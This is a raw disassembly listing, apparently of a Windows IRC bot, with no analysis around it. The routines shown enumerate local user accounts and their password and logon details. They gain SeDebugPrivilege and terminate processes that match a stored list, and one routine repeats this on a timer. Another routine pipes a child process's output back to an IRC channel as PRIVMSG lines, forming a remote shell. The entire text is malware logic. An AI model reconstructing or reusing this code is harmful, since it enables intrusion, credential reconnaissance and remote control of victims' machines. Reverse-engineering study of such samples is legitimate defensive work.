push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_416F4B
dec eax
jz short loc_416F44
dec eax
jz short loc_416F3D
mov eax, offset aUnknown_0 ; "Unknown"
jmp short loc_416F50
; ---------------------------------------------------------------------------
loc_416F3D: ; CODE XREF: sub_416E32+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_416F50
; ---------------------------------------------------------------------------
loc_416F44: ; CODE XREF: sub_416E32+FFj
mov eax, offset aUser_2 ; "User"
jmp short loc_416F50
; ---------------------------------------------------------------------------
loc_416F4B: ; CODE XREF: sub_416E32+FCj
mov eax, offset aGuest ; "Guest"
loc_416F50: ; CODE XREF: sub_416E32+109j
; sub_416E32+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_408EB9
add esp, 20h
pop edi
pop ebx
jmp short loc_4171EB
; ---------------------------------------------------------------------------
loc_4171BF: ; CODE XREF: sub_416E32+35j
push eax
lea eax, [ebp+var_204]
push offset unk_450088
push eax
call sub_41B740
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_408EB9
add esp, 20h
loc_4171EB: ; CODE XREF: sub_416E32+38Bj
cmp [ebp+var_4], 0
jz short loc_4171FA
push [ebp+var_4]
call dword_4E092C
loc_4171FA: ; CODE XREF: sub_416E32+40j
; sub_416E32+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_416E32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417200 proc near ; CODE XREF: sub_401CC1+3F3Fp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_416B67
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 18h
loc_41723F: ; CODE XREF: sub_417200+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4E080C
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4172A0
cmp eax, 0EAh
jz short loc_4172A0
push eax
push eax
call sub_417380
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_450104
push eax
call sub_41B740
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 24h
jmp short loc_41731B
; ---------------------------------------------------------------------------
loc_4172A0: ; CODE XREF: sub_417200+62j
; sub_417200+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41732E
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_41731B
loc_4172B2: ; CODE XREF: sub_417200+EDj
cmp edi, esi
jz short loc_4172F1
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_35 ; " %S"
push eax
call sub_41B740
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4172B2
jmp short loc_41731B
; ---------------------------------------------------------------------------
loc_4172F1: ; CODE XREF: sub_417200+B4j
lea eax, [ebp+var_218]
push offset unk_4500D0
push eax
call sub_41B740
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 1Ch
loc_41731B: ; CODE XREF: sub_417200+9Ej
; sub_417200+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41732E
push edi
call dword_4E092C
xor edi, edi
mov [ebp+var_4], edi
loc_41732E: ; CODE XREF: sub_417200+A5j
; sub_417200+120j
cmp [ebp+var_C], 0EAh
jz loc_41723F
cmp edi, esi
jz short loc_417346
push edi
call dword_4E092C
loc_417346: ; CODE XREF: sub_417200+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B740
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_417200 endp
; =============== S U B R O U T I N E =======================================
sub_417380 proc near ; CODE XREF: sub_4169D6+41p
; sub_416BCB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_417432
jz loc_41742B
cmp eax, 7Bh
ja short loc_4173F7
jz short loc_4173ED
cmp eax, 5
jz short loc_4173E3
cmp eax, 8
jz short loc_4173D9
cmp eax, 32h
jz short loc_4173CF
cmp eax, 35h
jz short loc_4173C5
cmp eax, 57h
jnz loc_417481
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173C5: ; CODE XREF: sub_417380+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173CF: ; CODE XREF: sub_417380+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173D9: ; CODE XREF: sub_417380+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173E3: ; CODE XREF: sub_417380+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_417380+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_4173F7: ; CODE XREF: sub_417380+1Aj
sub eax, 7Ch
jz short loc_417424
sub eax, 7C8h
jz short loc_41741D
dec eax
jz short loc_417413
dec eax
jnz short loc_417481
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_417413: ; CODE XREF: sub_417380+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_4174A2
; ---------------------------------------------------------------------------
loc_41741D: ; CODE XREF: sub_417380+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417424: ; CODE XREF: sub_417380+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_41742B: ; CODE XREF: sub_417380+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417432: ; CODE XREF: sub_417380+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41746B
jz short loc_417464
sub eax, 8ADh
jz short loc_417496
dec eax
dec eax
jz short loc_41745D
dec eax
jz short loc_417456
dec eax
dec eax
jnz short loc_417481
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417456: ; CODE XREF: sub_417380+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_41745D: ; CODE XREF: sub_417380+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417464: ; CODE XREF: sub_417380+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_41746B: ; CODE XREF: sub_417380+B9j
sub eax, 8CAh
jz short loc_41749D
sub eax, 17h
jz short loc_417496
sub eax, 25h
jz short loc_41748F
sub eax, 29h
jz short loc_417488
loc_417481: ; CODE XREF: sub_417380+35j
; sub_417380+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417488: ; CODE XREF: sub_417380+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_41748F: ; CODE XREF: sub_417380+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_417496: ; CODE XREF: sub_417380+C2j
; sub_417380+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_4174A2
; ---------------------------------------------------------------------------
loc_41749D: ; CODE XREF: sub_417380+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_4174A2: ; CODE XREF: sub_417380+40j
; sub_417380+4Aj ...
push offset dword_4EF16C
call sub_41B740
pop ecx
mov eax, offset dword_4EF16C
pop ecx
retn
sub_417380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174B4 proc near ; CODE XREF: sub_401CC1+3F84p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E750
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4F137C ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E750
lea eax, [ebp+var_718]
push eax
call sub_41E720
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4E08B0
test eax, eax
jnz short loc_417544
mov esi, offset dword_4EEF68
push offset unk_450400
push esi
call sub_41B740
pop ecx
pop ecx
jmp short loc_41756D
; ---------------------------------------------------------------------------
loc_417544: ; CODE XREF: sub_4174B4+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_417380
pop ecx
mov esi, offset dword_4EEF68
push eax
push offset dword_450428
push esi
call sub_41B740
add esp, 14h
loc_41756D: ; CODE XREF: sub_4174B4+8Ej
mov eax, esi
pop esi
leave
retn
sub_4174B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417572 proc near ; CODE XREF: sub_416138+7p
; sub_4175DD+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_4F13B4 ; GetCurrentProcess
push eax
call dword_4E0884
test eax, eax
jnz short loc_417591
leave
retn
; ---------------------------------------------------------------------------
loc_417591: ; CODE XREF: sub_417572+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4E0860
test eax, eax
jz short loc_4175CF
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_4175B8
or [ebp+var_8], 2
jmp short loc_4175BC
; ---------------------------------------------------------------------------
loc_4175B8: ; CODE XREF: sub_417572+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_4175BC: ; CODE XREF: sub_417572+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4E0908
mov esi, eax
loc_4175CF: ; CODE XREF: sub_417572+32j
push [ebp+var_4]
call dword_4F1324 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_417572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175DD proc near ; CODE XREF: sub_401CC1+6B98p
; sub_417820+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4E08C0, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4177F0
cmp dword_4E08A4, ebx
jz loc_4177F0
cmp dword_4E07C4, ebx
jz loc_4177F0
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_417572
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4E08C0
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4177E3
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4E08A4
mov esi, dword_4F1324
test eax, eax
jz loc_4177DE
lea eax, [ebp+var_130]
push eax
push edi
call dword_4E07C4
test eax, eax
jz loc_4177DE
mov edi, dword_4F1340
mov ebx, 1F0FFFh
loc_4176A1: ; CODE XREF: sub_4175DD+1F9j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_417708
mov [ebp+var_4], offset off_450458
loc_4176AF: ; CODE XREF: sub_4175DD+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call dword_4F1424 ; lstrcmpi
test eax, eax
jz short loc_4176D7
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_4504B8
jl short loc_4176AF
jmp loc_4177C4
; ---------------------------------------------------------------------------
loc_4176D7: ; CODE XREF: sub_4175DD+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_4177C4
push 0
push eax
call dword_4F13AC ; TerminateProcess
test eax, eax
jnz loc_4177C4
loc_4176FE: ; CODE XREF: sub_4175DD+1CDj
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_4177C4
; ---------------------------------------------------------------------------
loc_417708: ; CODE XREF: sub_4175DD+C9j
cmp [ebp+arg_C], eax
jnz loc_4177AF
cmp [ebp+arg_4], eax
jz loc_4177C4
push [ebp+var_128]
push 8
call dword_4E08C0
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41776F
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4E0774
push [ebp+var_128]
test eax, eax
jz short loc_417761
lea eax, [ebp+var_234]
push eax
push offset aSD ; " %s (%d)"
jmp short loc_417781
; ---------------------------------------------------------------------------
loc_417761: ; CODE XREF: sub_4175DD+174j
lea eax, [ebp+var_10C]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_417781
; ---------------------------------------------------------------------------
loc_41776F: ; CODE XREF: sub_4175DD+15Cj
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
loc_417781: ; CODE XREF: sub_4175DD+182j
; sub_4175DD+190j
lea eax, [ebp+var_554]
push eax
call sub_41B740
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
jmp loc_4176FE
; ---------------------------------------------------------------------------
loc_4177AF: ; CODE XREF: sub_4175DD+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4177F7
loc_4177C4: ; CODE XREF: sub_4175DD+F5j
; sub_4175DD+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4E07C4
test eax, eax
jnz loc_4176A1
xor ebx, ebx
loc_4177DE: ; CODE XREF: sub_4175DD+9Dj
; sub_4175DD+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_4177E3: ; CODE XREF: sub_4175DD+77j
push ebx
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_417572
pop ecx
pop ecx
loc_4177F0: ; CODE XREF: sub_4175DD+3Aj
; sub_4175DD+46j ...
xor eax, eax
loc_4177F2: ; CODE XREF: sub_4175DD+241j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4177F7: ; CODE XREF: sub_4175DD+1E5j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_4F13AC ; TerminateProcess
test eax, eax
jnz short loc_41781B
push edi
call esi ; CloseHandle
jmp short loc_4177F0
; ---------------------------------------------------------------------------
loc_41781B: ; CODE XREF: sub_4175DD+237j
push 1
pop eax
jmp short loc_4177F2
sub_4175DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417820 proc near ; DATA XREF: sub_401CC1+220Ao
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_450650
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B740
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41787F
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_408EB9
add esp, 14h
loc_41787F: ; CODE XREF: sub_417820+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4175DD
add esp, 18h
test eax, eax
jnz short loc_4178A7
push offset unk_450670
jmp short loc_4178AC
; ---------------------------------------------------------------------------
loc_4178A7: ; CODE XREF: sub_417820+7Ej
push offset unk_450694
loc_4178AC: ; CODE XREF: sub_417820+85j
lea eax, [ebp+var_298]
push eax
call sub_41B740
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4178DF
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_408EB9
add esp, 14h
loc_4178DF: ; CODE XREF: sub_417820+9Dj
lea eax, [ebp+var_298]
push eax
call sub_41458A
push [ebp+var_14]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_417820 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4178FE proc near ; CODE XREF: sub_401CC1+6B3Ap
; sub_40A938+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call dword_4F1340 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_417930
push 0
push esi
call dword_4F13AC ; TerminateProcess
test eax, eax
jnz short loc_417930
push esi
xor edi, edi
call dword_4F1324 ; CloseHandle
loc_417930: ; CODE XREF: sub_4178FE+1Aj
; sub_4178FE+27j
mov eax, edi
pop edi
pop esi
retn
sub_4178FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_417935 proc near ; DATA XREF: sub_40141B+3C7o
push esi
xor esi, esi
loc_417938: ; CODE XREF: sub_417935+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_4175DD
add esp, 18h
push dword_450454
call dword_4F1334 ; Sleep
jmp short loc_417938
sub_417935 endp
; =============== S U B R O U T I N E =======================================
sub_417955 proc near ; CODE XREF: sub_417985+2Ap
; sub_4179BD+7Ep ...
mov eax, dword_4EF7D4
push esi
mov esi, dword_4F1324
cmp eax, 0FFFFFFFFh
jz short loc_417969
push eax
call esi ; CloseHandle
loc_417969: ; CODE XREF: sub_417955+Fj
mov eax, dword_4EF7DC
cmp eax, 0FFFFFFFFh
jz short loc_417976
push eax
call esi ; CloseHandle
loc_417976: ; CODE XREF: sub_417955+1Cj
mov eax, dword_4EF7D0
cmp eax, 0FFFFFFFFh
jz short loc_417983
push eax
call esi ; CloseHandle
loc_417983: ; CODE XREF: sub_417955+29j
pop esi
retn
sub_417955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417985 proc near ; CODE XREF: sub_401CC1+6A46p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_418D00
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4EF7D8
call dword_4F139C ; WriteFile
test eax, eax
jnz short loc_4179B8
call sub_417955
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4179B8: ; CODE XREF: sub_417985+28j
push 1
pop eax
leave
retn
sub_417985 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179BD proc near ; CODE XREF: sub_417A44+D3p
; sub_417A44+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_4EF81C
push [ebp+arg_4]
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_417A00
push 7D0h
call dword_4F1334 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r"
push eax
call sub_41B740
add esp, 10h
jmp short loc_417A17
; ---------------------------------------------------------------------------
loc_417A00: ; CODE XREF: sub_4179BD+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_24 ; "%s"
push eax
call sub_41B740
add esp, 0Ch
loc_417A17: ; CODE XREF: sub_4179BD+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4E08EC
test eax, eax
jg short loc_417A40
call sub_417955
loc_417A40: ; CODE XREF: sub_4179BD+7Cj
xor eax, eax
leave
retn
sub_4179BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A44 proc near ; DATA XREF: sub_417B99+174o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4EF7E0
loc_417A5C: ; CODE XREF: sub_417A44+79j
; sub_417A44+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4EF7D4
call dword_4F142C ; PeekNamedPipe
test eax, eax
jz loc_417B2A
cmp [ebp+var_4], edi
jnz short loc_417ABF
lea eax, [ebp+var_8]
push eax
push dword_4EF7D0
call dword_4F1428 ; GetExitCodeProcess
test eax, eax
jz short loc_417AB5
cmp [ebp+var_8], 103h
jnz loc_417B4E
loc_417AB5: ; CODE XREF: sub_417A44+62j
push 0Ah
call dword_4F1334 ; Sleep
jmp short loc_417A5C
; ---------------------------------------------------------------------------
loc_417ABF: ; CODE XREF: sub_417A44+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_417AD6
loc_417AC6: ; CODE XREF: sub_417A44+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_417B24
inc eax
cmp eax, [ebp+var_4]
jb short loc_417AC6
loc_417AD6: ; CODE XREF: sub_417A44+80j
mov [ebp+var_4], esi
loc_417AD9: ; CODE XREF: sub_417A44+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4EF7D4
call dword_4F13A4 ; ReadFile
test eax, eax
jz short loc_417B76
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4EF814
call sub_4179BD
add esp, 0Ch
jmp loc_417A5C
; ---------------------------------------------------------------------------
loc_417B24: ; CODE XREF: sub_417A44+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_417AD9
; ---------------------------------------------------------------------------
loc_417B2A: ; CODE XREF: sub_417A44+45j
push offset unk_4506CC
push ebx
push dword_4EF814
call sub_4179BD
push [ebp+arg_0]
call sub_40AB19
add esp, 10h
push 1
call dword_4F1388 ; ExitThread
loc_417B4E: ; CODE XREF: sub_417A44+6Bj
call sub_417955
push offset unk_4506FC
push ebx
push dword_4EF814
call sub_4179BD
push [ebp+arg_0]
call sub_40AB19
add esp, 10h
push edi
call dword_4F1388 ; ExitThread
